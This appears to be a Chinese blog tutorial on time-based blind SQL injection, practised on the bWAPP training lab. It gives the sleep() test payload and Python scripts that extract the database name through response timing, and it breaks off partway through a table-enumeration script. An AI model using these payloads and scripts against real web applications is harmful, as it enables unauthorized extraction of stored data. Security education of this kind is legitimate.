基于时间的盲注
该部分学习以bwapp靶场为列,这是个漫长的过程
SQL Injection - Blind - Time-Based时间盲注关卡
文章目录
一、简介
1.什么是时间盲注?
时间盲注,通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。用到的函数为sleep()。
2.测试是否存在时间盲注
输入Iron Man后搜索耗时
当输入 Iron Man’ and sleep(5) 时出现
通过对比,发现时间盲注漏洞,sleep(5)当and前的条件为真会执行,并且找到一条会sleep()5秒
3.思路
通过延长时间来逐步获取想要的数据,
二、实践靶场
通过python脚本来获取
1.获得数据库的库名长度与库名
import requests
import time
header = {
'Cookie': 'security_level=0; PHPSESSID=6slp3ivhn2rb2uph8catcbq5a6'
}
baseurl = 'http://8.130.109.21:9999/sqli_15.php?'
# 获取数据库的长度
def get_database_name_length() -> int:
count = 0
for i in range(40):
url = baseurl + "title=Iron Man' and length(database())={} and sleep(2) -- &action=search".format(i)
stat_time = time.time()
requests.get(url, headers=header)
if time.time() - stat_time > 1:
print("数据库库名长度为:{}".format(i))
count = i
return count
# 获取数据库的名字
def get_database_name(count):
print("数据库名是:", end='')
for i in range(count + 1):
for j in range(33, 127):
url = baseurl + "title=Iron Man' and ascii(substr(database(),{},1))={} and sleep(2) -- &action=search".format(
i, j)
stat_time = time.time()
requests.get(url, headers=header)
if time.time() - stat_time > 1:
print(chr(j), end='')
if __name__ == '__main__':
get_database_name(get_database_name_length())
运行结果:
2.获取数据库中表,包括表的个数,表名以及表的长度
import requests
import time
header = {
'Cookie': 'security_level=0; PHPSESSID=6slp3ivhn2rb2uph8catcbq5a6'
}
baseurl = 'http://8.130.109.21:9999/sqli_15.php?'
# 获取当前数据库中表的个数
def get_table_count